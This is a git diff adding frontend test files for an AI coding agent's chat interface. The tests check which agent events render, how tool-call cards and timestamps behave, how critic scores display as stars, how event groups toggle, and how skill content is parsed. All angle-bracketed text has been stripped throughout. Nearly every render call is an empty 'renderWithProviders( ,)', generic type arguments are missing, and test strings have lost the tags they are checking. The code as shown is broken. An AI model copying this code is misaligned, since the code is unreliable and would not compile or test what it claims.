+ // A ``null`` status (legacy builds before the field was required) renders
+ // as "running" via the absent check mark rather than being hidden — better
+ // a card than a silently dropped tool call.
+ const event = makeACPEvent({ status: null });
+
+ expect(shouldRenderEvent(event)).toBe(true);
+ });
+});
+
+describe("shouldRenderEvent - StreamingDeltaEvent", () => {
+ const makeStreamingDelta = (
+ overrides: Partial = {},
+ ): StreamingDeltaEvent => ({
+ id: "delta-1",
+ kind: "StreamingDeltaEvent",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent",
+ content: "I'll start working on that.",
+ reasoning_content: null,
+ ...overrides,
+ });
+
+ it("renders text deltas", () => {
+ expect(shouldRenderEvent(makeStreamingDelta())).toBe(true);
+ });
+
+ it("renders reasoning-only deltas", () => {
+ expect(
+ shouldRenderEvent(
+ makeStreamingDelta({
+ content: null,
+ reasoning_content: "thinking",
+ }),
+ ),
+ ).toBe(true);
+ });
+
+ it("hides empty deltas", () => {
+ expect(
+ shouldRenderEvent(
+ makeStreamingDelta({
+ content: null,
+ reasoning_content: null,
+ }),
+ ),
+ ).toBe(false);
+ });
+});
+
+describe("shouldRenderEvent - SwitchLLM", () => {
+ const switchAction: ActionEvent = {
+ id: "switch-action",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "SwitchLLMAction",
+ profile_name: "haiku",
+ reason: "Use a cheaper model.",
+ },
+ tool_name: "switch_llm",
+ tool_call_id: "tool-switch",
+ tool_call: {
+ id: "tool-switch",
+ type: "function",
+ function: {
+ name: "switch_llm",
+ arguments: JSON.stringify({ profile_name: "haiku" }),
+ },
+ },
+ llm_response_id: "response-switch",
+ security_risk: SecurityRisk.LOW,
+ };
+
+ const makeSwitchObservation = (
+ overrides: Partial = {},
+ ): ObservationEvent => ({
+ id: "switch-observation",
+ timestamp: "2024-01-01T00:00:01Z",
+ source: "environment",
+ tool_name: "switch_llm",
+ tool_call_id: "tool-switch",
+ action_id: "switch-action",
+ observation: {
+ kind: "SwitchLLMObservation",
+ content: [{ type: "text", text: "Switched." }],
+ is_error: false,
+ profile_name: "haiku",
+ reason: "Use a cheaper model.",
+ active_model: "anthropic/claude-haiku-4-5",
+ ...overrides,
+ },
+ });
+
+ it("hides switch actions and successful observations for the shared model UI", () => {
+ expect(shouldRenderEvent(switchAction)).toBe(false);
+ expect(shouldRenderEvent(makeSwitchObservation())).toBe(false);
+ });
+
+ it("keeps failed switch observations visible", () => {
+ expect(
+ shouldRenderEvent(
+ makeSwitchObservation({
+ is_error: true,
+ content: [{ type: "text", text: "Profile was not found." }],
+ }),
+ ),
+ ).toBe(true);
+ });
+});
+
+describe("shouldRenderEvent - /goal status updates", () => {
+ const makeGoalEvent = (active: boolean): OpenHandsEvent =>
+ ({
+ id: "goal-1",
+ kind: "ConversationStateUpdateEvent",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ key: "goal",
+ value: {
+ active,
+ status: active ? "running" : "complete",
+ iteration: 1,
+ max_iterations: 10,
+ objective: "make pytest pass",
+ verdict: null,
+ },
+ }) as unknown as OpenHandsEvent;
+
+ const makeStatsEvent = (): OpenHandsEvent =>
+ ({
+ id: "stats-1",
+ kind: "ConversationStateUpdateEvent",
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment",
+ key: "stats",
+ value: {},
+ }) as unknown as OpenHandsEvent;
+
+ it("renders the terminal goal status inline", () => {
+ expect(shouldRenderEvent(makeGoalEvent(false))).toBe(true);
+ });
+
+ it("hides the in-progress goal status (shown by the live banner)", () => {
+ expect(shouldRenderEvent(makeGoalEvent(true))).toBe(false);
+ });
+
+ it("hides non-goal state updates", () => {
+ expect(shouldRenderEvent(makeStatsEvent())).toBe(false);
+ });
+});
+
+describe("shouldRenderEvent - /goal loop re-prompts", () => {
+ const makeUserMessage = (text: string): OpenHandsEvent =>
+ ({
+ id: "m1",
+ kind: "MessageEvent",
+ source: "user",
+ timestamp: "2024-01-01T00:00:00Z",
+ llm_message: { role: "user", content: [{ type: "text", text }] },
+ }) as unknown as OpenHandsEvent;
+
+ it("hides the per-round follow-up re-prompt", () => {
+ const followup = makeUserMessage(
+ "The goal is NOT yet complete (audit iteration 1).\nOutstanding: needs tests",
+ );
+ expect(shouldRenderEvent(followup)).toBe(false);
+ });
+
+ it("hides the resume re-prompt", () => {
+ expect(
+ shouldRenderEvent(
+ makeUserMessage("Resuming a goal that was paused or interrupted. ..."),
+ ),
+ ).toBe(false);
+ });
+
+ it("still renders the objective and ordinary user messages", () => {
+ expect(
+ shouldRenderEvent(makeUserMessage("create roman.py with to_roman(n)")),
+ ).toBe(true);
+ expect(shouldRenderEvent(makeUserMessage("hello"))).toBe(true);
+ });
+
+ it("hides the child-conversation launch result the frontend posts back", () => {
+ expect(
+ shouldRenderEvent(
+ makeUserMessage(
+ `${CHILD_CONVERSATION_RESULT_PREFIX}{"status":"launched","target":"local"}`,
+ ),
+ ),
+ ).toBe(false);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx b/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..094adb0d65d0d5353296c798c254556f09363fc0
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx
@@ -0,0 +1,173 @@
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => ({ data: { APP_MODE: "local" } }),
+}));
+vi.mock("#/hooks/use-agent-state");
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+ useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+const makeEvent = (
+ overrides: Partial = {},
+): ACPToolCallEvent => ({
+ kind: "ACPToolCallEvent",
+ id: "evt-1",
+ timestamp: "2026-04-16T19:32:29.828069",
+ source: "agent",
+ tool_call_id: "toolu_123",
+ title: "gh pr diff 490",
+ tool_kind: "execute",
+ status: "completed",
+ raw_input: { command: "gh pr diff 490" },
+ raw_output: "diff output here",
+ content: null,
+ is_error: false,
+ ...overrides,
+});
+
+describe("EventMessage - ACPToolCallEvent dispatch", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ vi.mocked(useAgentState).mockReturnValue({
+ curAgentState: AgentState.INIT,
+ executionStatus: null,
+ });
+ });
+
+ it("renders an ACP card through the same GenericEventMessage wrapper as observations", () => {
+ renderWithProviders(
+ ,
+ );
+
+ // The test-utils i18n instance doesn't load the real translation bundle,
+ // so createTitleFromKey falls back to the key literal. Assert on the
+ // key — the integration case (rendered string) is covered by a Storybook
+ // story + manual verification listed in the PR description.
+ expect(screen.getByText("ACTION_MESSAGE$ACP_RUN")).toBeInTheDocument();
+ });
+
+ it("shows the command event's recorded timestamp on hover", async () => {
+ const user = userEvent.setup();
+ const event = makeEvent();
+
+ renderWithProviders(
+ ,
+ );
+
+ const title = screen.getByTestId("generic-event-message-title");
+ await user.hover(title);
+
+ const tooltip = await screen.findByRole("tooltip");
+ expect(tooltip.querySelector("time")).toHaveAttribute(
+ "datetime",
+ event.timestamp,
+ );
+ });
+
+ it("shows the timestamp when the existing expand control receives focus", async () => {
+ const user = userEvent.setup();
+ const event = makeEvent();
+
+ renderWithProviders(
+ ,
+ );
+
+ await user.tab();
+ expect(screen.getByRole("button", { name: "BUTTON$EXPAND" })).toHaveFocus();
+ expect(
+ (await screen.findByRole("tooltip")).querySelector("time"),
+ ).toHaveAttribute("datetime", event.timestamp);
+ });
+
+ it("does not show a success icon for completed tool calls", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+ });
+
+ it("omits the status icon while a call is in progress", () => {
+ renderWithProviders(
+ ,
+ );
+
+ // getACPToolCallResult returns undefined for in_progress, so
+ // SuccessIndicator renders no icon.
+ expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+ });
+
+ it("expands details on click and shows the Command: + Output: blocks", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+ // Markdown renderer wraps code blocks but the plain text survives.
+ expect(screen.getByText(/gh pr diff 490/)).toBeInTheDocument();
+ expect(screen.getByText(/diff output here/)).toBeInTheDocument();
+ });
+
+ it("dismisses the timestamp when details are expanded with a pointer", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ ,
+ );
+
+ const title = screen.getByTestId("generic-event-message-title");
+ await user.hover(title);
+ expect(await screen.findByRole("tooltip")).toBeInTheDocument();
+
+ await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+ expect(screen.queryByRole("tooltip")).not.toBeInTheDocument();
+
+ await user.hover(screen.getByText(/diff output here/));
+ expect(screen.queryByRole("tooltip")).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5fcc2f68129f566f8fb01403b531e414d90a9e96
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx
@@ -0,0 +1,279 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, it, expect, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { CriticResultDisplay } from "#/components/conversation-events/chat/event-message-components/critic-result-display";
+import type { CriticResult } from "#/types/agent-server/core/base/critic";
+
+const mockUseSettings = vi.hoisted(() =>
+ vi.fn(() => ({
+ data: {
+ agent_settings: {
+ verification: {
+ enable_iterative_refinement: true,
+ },
+ },
+ },
+ })),
+);
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => mockUseSettings(),
+}));
+
+const makeCriticResult = (
+ overrides: Partial = {},
+): CriticResult => ({
+ score: 0.85,
+ message: null,
+ metadata: null,
+ ...overrides,
+});
+
+beforeEach(() => {
+ mockUseSettings.mockReturnValue({
+ data: {
+ agent_settings: {
+ verification: {
+ enable_iterative_refinement: true,
+ },
+ },
+ },
+ });
+});
+
+describe("CriticResultDisplay", () => {
+ it("renders score as percentage", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("(72.0%)")).toBeInTheDocument();
+ });
+
+ it("adds an accessible score label to the star rating", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByLabelText("Score: 72.0%")).toHaveTextContent("★★★★☆");
+ });
+
+ it("renders non-finite scores as 0%", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByLabelText("Score: 0.0%")).toHaveTextContent("☆☆☆☆☆");
+ expect(screen.getByText("(0.0%)")).toBeInTheDocument();
+ });
+
+ it("renders 5 stars for a perfect score", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("★★★★★")).toBeInTheDocument();
+ });
+
+ it("renders 0 stars for a zero score", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(screen.getByText("☆☆☆☆☆")).toBeInTheDocument();
+ });
+
+ it("renders green color for high score", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const stars = screen.getByText("★★★★☆");
+ expect(stars.className).toContain("text-green-400");
+ });
+
+ it("renders yellow color for medium score", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const stars = screen.getByText("★★★☆☆");
+ expect(stars.className).toContain("text-yellow-400");
+ });
+
+ it("renders red color for low score", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const stars = screen.getByText("★☆☆☆☆");
+ expect(stars.className).toContain("text-red-400");
+ });
+
+ it("renders label text", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByText("CRITIC$SUCCESS_LIKELIHOOD_LABEL"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not render expand button without features", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByLabelText("BUTTON$EXPAND_DETAILS"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("prompts users to enable iterative refinement when it is disabled", () => {
+ mockUseSettings.mockReturnValue({
+ data: {
+ agent_settings: {
+ verification: {
+ enable_iterative_refinement: false,
+ },
+ },
+ },
+ });
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("critic-iterative-refinement-hint"),
+ ).toHaveTextContent("CRITIC$ITERATIVE_REFINEMENT_HINT");
+ });
+
+ it("does not prompt users when iterative refinement is enabled", () => {
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("critic-iterative-refinement-hint"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders expand button when features are present", () => {
+ const result = makeCriticResult({
+ metadata: {
+ categorized_features: {
+ agent_behavioral_issues: [
+ {
+ name: "insufficient_testing",
+ display_name: "Insufficient Testing",
+ probability: 0.75,
+ },
+ ],
+ },
+ },
+ });
+
+ renderWithProviders( );
+
+ expect(screen.getByLabelText("BUTTON$EXPAND_DETAILS")).toBeInTheDocument();
+ });
+
+ it("expands features on click", async () => {
+ const user = userEvent.setup();
+ const result = makeCriticResult({
+ metadata: {
+ categorized_features: {
+ agent_behavioral_issues: [
+ {
+ name: "insufficient_testing",
+ display_name: "Insufficient Testing",
+ probability: 0.75,
+ },
+ ],
+ },
+ },
+ });
+
+ renderWithProviders( );
+
+ expect(screen.queryByText("Insufficient Testing")).not.toBeInTheDocument();
+
+ await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+
+ expect(screen.getByText("Insufficient Testing")).toBeInTheDocument();
+ expect(screen.getByText("(75%)")).toBeInTheDocument();
+ expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument();
+ });
+
+ it("collapses features on second click", async () => {
+ const user = userEvent.setup();
+ const result = makeCriticResult({
+ metadata: {
+ categorized_features: {
+ agent_behavioral_issues: [
+ {
+ name: "loop_behavior",
+ display_name: "Loop Behavior",
+ probability: 0.6,
+ },
+ ],
+ },
+ },
+ });
+
+ renderWithProviders( );
+
+ await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+ expect(screen.getByText("Loop Behavior")).toBeInTheDocument();
+
+ await user.click(screen.getByLabelText("BUTTON$COLLAPSE_DETAILS"));
+ expect(screen.queryByText("Loop Behavior")).not.toBeInTheDocument();
+ });
+
+ it("renders multiple categories of features", async () => {
+ const user = userEvent.setup();
+ const result = makeCriticResult({
+ metadata: {
+ categorized_features: {
+ agent_behavioral_issues: [
+ {
+ name: "incomplete_changes",
+ display_name: "Incomplete Changes",
+ probability: 0.8,
+ },
+ ],
+ infrastructure_issues: [
+ {
+ name: "build_failure",
+ display_name: "Build Failure",
+ probability: 0.4,
+ },
+ ],
+ user_followup_patterns: [
+ {
+ name: "will_ask_refinement",
+ display_name: "Will Ask Refinement",
+ probability: 0.55,
+ },
+ ],
+ },
+ },
+ });
+
+ renderWithProviders( );
+
+ await user.click(screen.getByLabelText("BUTTON$EXPAND_DETAILS"));
+
+ expect(screen.getByText("CRITIC$POTENTIAL_ISSUES")).toBeInTheDocument();
+ expect(screen.getByText("Incomplete Changes")).toBeInTheDocument();
+ expect(screen.getByText("CRITIC$INFRASTRUCTURE")).toBeInTheDocument();
+ expect(screen.getByText("Build Failure")).toBeInTheDocument();
+ expect(screen.getByText("CRITIC$LIKELY_FOLLOWUP")).toBeInTheDocument();
+ expect(screen.getByText("Will Ask Refinement")).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..264d5cb20c45bc52f0f0ed6d39393d9196e73adf
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/event-group.test.tsx
@@ -0,0 +1,281 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EventGroup } from "#/components/conversation-events/chat/event-message-components/event-group";
+import {
+ ActionEvent,
+ ObservationEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+import {
+ ExecuteBashAction,
+ FileEditorAction,
+} from "#/types/agent-server/core/base/action";
+import { ExecuteBashObservation } from "#/types/agent-server/core/base/observation";
+
+const makeBashAction = (
+ id: string,
+ command: string,
+): ActionEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "ExecuteBashAction",
+ command,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+ tool_name: "execute_bash",
+ tool_call_id: `call_${id}`,
+ tool_call: {
+ id: `call_${id}`,
+ type: "function",
+ function: {
+ name: "execute_bash",
+ arguments: JSON.stringify({ command }),
+ },
+ },
+ llm_response_id: `response_${id}`,
+ security_risk: SecurityRisk.UNKNOWN,
+});
+
+const makeBashObservation = (
+ id: string,
+ actionId: string,
+ command: string,
+): ObservationEvent => ({
+ id,
+ timestamp: new Date().toISOString(),
+ source: "environment",
+ tool_name: "execute_bash",
+ tool_call_id: `call_${actionId}`,
+ action_id: actionId,
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [{ type: "text", text: "ok" }],
+ command,
+ exit_code: 0,
+ error: false,
+ timeout: false,
+ metadata: {} as never,
+ },
+});
+
+describe("EventGroup", () => {
+ it("returns null for an empty events array", () => {
+ const { container } = renderWithProviders(
+
+ child
+ ,
+ );
+
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders a 'completed' summary when all events are observations", () => {
+ const events = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ makeBashObservation("o3", "a3", "whoami"),
+ ];
+
+ renderWithProviders(
+
+ child content
+ ,
+ );
+
+ expect(
+ screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+ ).toBeInTheDocument();
+ // Children should not be visible in the collapsed state.
+ expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+ });
+
+ it("renders a progress summary and the running action title while in flight", () => {
+ const events = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ // Last action has NOT been replaced by an observation -> still running.
+ makeBashAction("a3", "echo hello"),
+ ];
+
+ renderWithProviders(
+
+ child
+ ,
+ );
+
+ expect(
+ screen.getByText("EVENT_GROUP$ACTIONS_PROGRESS"),
+ ).toBeInTheDocument();
+ // The running action's title is rendered next to the summary. Translations
+ // aren't loaded in tests, so we just verify the action's translation key
+ // shows up (the localized version would interpolate the command).
+ expect(screen.getByText(/ACTION_MESSAGE\$RUN/)).toBeInTheDocument();
+ });
+
+ it("keeps showing the latest completed action's title while the group is still the live tail", () => {
+ // All observations -> nothing in flight, but the group has not been
+ // "moved past" yet, so we expect the latest observation's title to keep
+ // showing as the prominent summary alongside the completed count.
+ const events = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ makeBashObservation("o3", "a3", "whoami"),
+ ];
+
+ renderWithProviders(
+
+ child
+ ,
+ );
+
+ // Latest observation's title is still in the summary line.
+ expect(screen.getByText(/OBSERVATION_MESSAGE\$RUN/)).toBeInTheDocument();
+ // ...next to the completed count.
+ expect(
+ screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+ ).toBeInTheDocument();
+ });
+
+ it("hides the latest action title once the group is finalized", () => {
+ const events = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ makeBashObservation("o3", "a3", "whoami"),
+ ];
+
+ renderWithProviders(
+
+ child
+ ,
+ );
+
+ expect(
+ screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+ ).toBeInTheDocument();
+ // Once moved past, we collapse to just the count — the per-action title
+ // and the success check both go away.
+ expect(
+ screen.queryByText(/OBSERVATION_MESSAGE\$RUN/),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+ });
+
+ it("shows a spinner while running and no status icon when done", () => {
+ const running = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashAction("a2", "pwd"),
+ ];
+
+ const { rerender } = renderWithProviders(
+
+ child
+ ,
+ );
+ expect(screen.getByTestId("spinner-icon")).toBeInTheDocument();
+ expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+
+ const done = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ ];
+ rerender(
+
+ child
+ ,
+ );
+ expect(screen.queryByTestId("spinner-icon")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+ });
+
+ it("updates accessibility state while toggling the group", async () => {
+ const events = [
+ makeBashObservation("o1", "a1", "ls"),
+ makeBashObservation("o2", "a2", "pwd"),
+ makeBashObservation("o3", "a3", "whoami"),
+ ];
+ const user = userEvent.setup();
+
+ renderWithProviders(
+
+ child content
+ ,
+ );
+
+ const toggle = screen.getByTestId("event-group-toggle");
+ expect(toggle).toHaveAttribute("aria-expanded", "false");
+ expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND");
+ expect(screen.queryByRole("region")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+
+ await user.click(toggle);
+
+ const content = screen.getByRole("region");
+ expect(toggle).toHaveAttribute("aria-expanded", "true");
+ expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$COLLAPSE");
+ expect(toggle).toHaveAttribute("aria-controls", content.id);
+ expect(content).toHaveAttribute("aria-labelledby", toggle.id);
+ expect(screen.getByTestId("child")).toBeInTheDocument();
+
+ await user.click(toggle);
+
+ expect(toggle).toHaveAttribute("aria-expanded", "false");
+ expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND");
+ expect(screen.queryByRole("region")).not.toBeInTheDocument();
+ expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+ });
+
+ it("keeps grouped file-action titles non-interactive inside the toggle", () => {
+ const fileAction: ActionEvent = {
+ id: "a-file",
+ timestamp: new Date().toISOString(),
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action: {
+ kind: "FileEditorAction",
+ command: "str_replace",
+ path: "src/app.ts",
+ file_text: null,
+ old_str: "a",
+ new_str: "b",
+ insert_line: null,
+ view_range: null,
+ },
+ tool_name: "file_editor",
+ tool_call_id: "call_a-file",
+ tool_call: {
+ id: "call_a-file",
+ type: "function",
+ function: {
+ name: "file_editor",
+ arguments: JSON.stringify({
+ command: "str_replace",
+ path: "src/app.ts",
+ }),
+ },
+ },
+ llm_response_id: "response_a-file",
+ security_risk: SecurityRisk.UNKNOWN,
+ };
+
+ renderWithProviders(
+
+ child
+ ,
+ );
+
+ const toggle = screen.getByTestId("event-group-toggle");
+ expect(
+ toggle.querySelector('[data-testid="path-component-link"]'),
+ ).toBeNull();
+ expect(toggle.querySelectorAll("button")).toHaveLength(0);
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts b/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4e3f4fed9990fdbbd9c43ecdca2eab1e21b6b842
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts
@@ -0,0 +1,108 @@
+import { describe, expect, it } from "vitest";
+import {
+ parseSkillContent,
+ styleImportantTags,
+} from "#/components/conversation-events/chat/event-message-components/skill-item-expanded";
+
+describe("parseSkillContent", () => {
+ it("should extract matchInfo from content", () => {
+ const content =
+ "The following information has been included based on keyword match\nIt may or may not be relevant\n\nActual body content";
+ const result = parseSkillContent(content);
+
+ expect(result.matchInfo).toBe(
+ "The following information has been included based on keyword match",
+ );
+ expect(result.body).toBe("Actual body content");
+ });
+
+ it("should extract filePath from content", () => {
+ const content = "Skill location: /path/to/skill.md\n\nBody here";
+ const result = parseSkillContent(content);
+
+ expect(result.filePath).toBe("/path/to/skill.md");
+ expect(result.body).toBe("Body here");
+ });
+
+ it("should handle content with both matchInfo and filePath", () => {
+ const content =
+ "The following information has been included based on keyword match\nIt may or may not be relevant\nSkill location: /path/to/skill.md\n(Use this path to resolve imports)\n\nBody content";
+ const result = parseSkillContent(content);
+
+ expect(result.matchInfo).toBe(
+ "The following information has been included based on keyword match",
+ );
+ expect(result.filePath).toBe("/path/to/skill.md");
+ expect(result.body).toBe("Body content");
+ });
+
+ it("should handle content with no metadata", () => {
+ const content = "Just plain body content\nWith multiple lines";
+ const result = parseSkillContent(content);
+
+ expect(result.matchInfo).toBeNull();
+ expect(result.filePath).toBeNull();
+ expect(result.body).toBe("Just plain body content\nWith multiple lines");
+ });
+
+ it("should handle empty content", () => {
+ const result = parseSkillContent("");
+
+ expect(result.matchInfo).toBeNull();
+ expect(result.filePath).toBeNull();
+ expect(result.body).toBe("");
+ });
+
+ it("should skip blank lines between metadata and body", () => {
+ const content = "Skill location: /path/to/skill.md\n\n\nBody after blanks";
+ const result = parseSkillContent(content);
+
+ expect(result.filePath).toBe("/path/to/skill.md");
+ expect(result.body).toBe("Body after blanks");
+ });
+});
+
+describe("styleImportantTags", () => {
+ it("should wrap important tag content with bold markers", () => {
+ const text = "Some text critical info more text";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("Some text **critical info** more text");
+ });
+
+ it("should handle multiple important tags", () => {
+ const text =
+ "first and second ";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("**first** and **second**");
+ });
+
+ it("should handle multiline content inside important tags", () => {
+ const text = "line1\nline2 ";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("**line1\nline2**");
+ });
+
+ it("should be case-insensitive", () => {
+ const text = "test ";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("**test**");
+ });
+
+ it("should return text unchanged if no important tags", () => {
+ const text = "No important tags here";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("No important tags here");
+ });
+
+ it("should trim whitespace inside important tags", () => {
+ const text = " spaced ";
+ const result = styleImportantTags(text);
+
+ expect(result).toBe("**spaced**");
+ });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ab2eedfc941e72142f9d4276e459357d69360c8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx
@@ -0,0 +1,143 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { I18nKey } from "#/i18n/declaration";
+import { SkillReadyContentList } from "#/components/conversation-events/chat/event-message-components/skill-ready-content-list";
+import { SkillReadyItem } from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event";
+
+const makeItems = (
+ ...entries: [string, string][]
+): SkillReadyItem[] =>
+ entries.map(([name, content]) => ({ name, content }));
+
+describe("SkillReadyContentList", () => {
+ it("renders all skill names", () => {
+ const items = makeItems(["docker", "content1"], ["gitlab", "content2"]);
+
+ renderWithProviders( );
+
+ expect(screen.getByText("docker")).toBeInTheDocument();
+ expect(screen.getByText("gitlab")).toBeInTheDocument();
+ });
+
+ it("renders the header label", () => {
+ const items = makeItems(["docker", "content"]);
+
+ renderWithProviders( );
+
+ expect(
+ screen.getByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders a custom header label when titleKey is provided", () => {
+ const items = makeItems(["docker", "content"]);
+
+ renderWithProviders(
+ ,
+ );
+
+ expect(
+ screen.getByText("SKILLS$INVOKED_SKILL_KNOWLEDGE"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not show content before clicking", () => {
+ const items = makeItems(["docker", "Docker usage guide"]);
+
+ renderWithProviders( );
+
+ expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument();
+ });
+
+ it("expands skill content on click", async () => {
+ const user = userEvent.setup();
+ const items = makeItems(["docker", "Docker usage guide"]);
+
+ renderWithProviders( );
+
+ await user.click(screen.getByText("docker"));
+
+ expect(screen.getByText("Docker usage guide")).toBeInTheDocument();
+ });
+
+ it("collapses skill content on second click", async () => {
+ const user = userEvent.setup();
+ const items = makeItems(["docker", "Docker usage guide"]);
+
+ renderWithProviders( );
+
+ await user.click(screen.getByText("docker"));
+ expect(screen.getByText("Docker usage guide")).toBeInTheDocument();
+
+ await user.click(screen.getByText("docker"));
+ expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument();
+ });
+
+ it("expands skills independently", async () => {
+ const user = userEvent.setup();
+ const items = makeItems(
+ ["docker", "Docker guide"],
+ ["gitlab", "GitLab guide"],
+ );
+
+ renderWithProviders( );
+
+ await user.click(screen.getByText("docker"));
+
+ expect(screen.getByText("Docker guide")).toBeInTheDocument();
+ expect(screen.queryByText("GitLab guide")).not.toBeInTheDocument();
+ });
+
+ it("renders content as bold text", async () => {
+ const user = userEvent.setup();
+ const content = "Some text critical info more text";
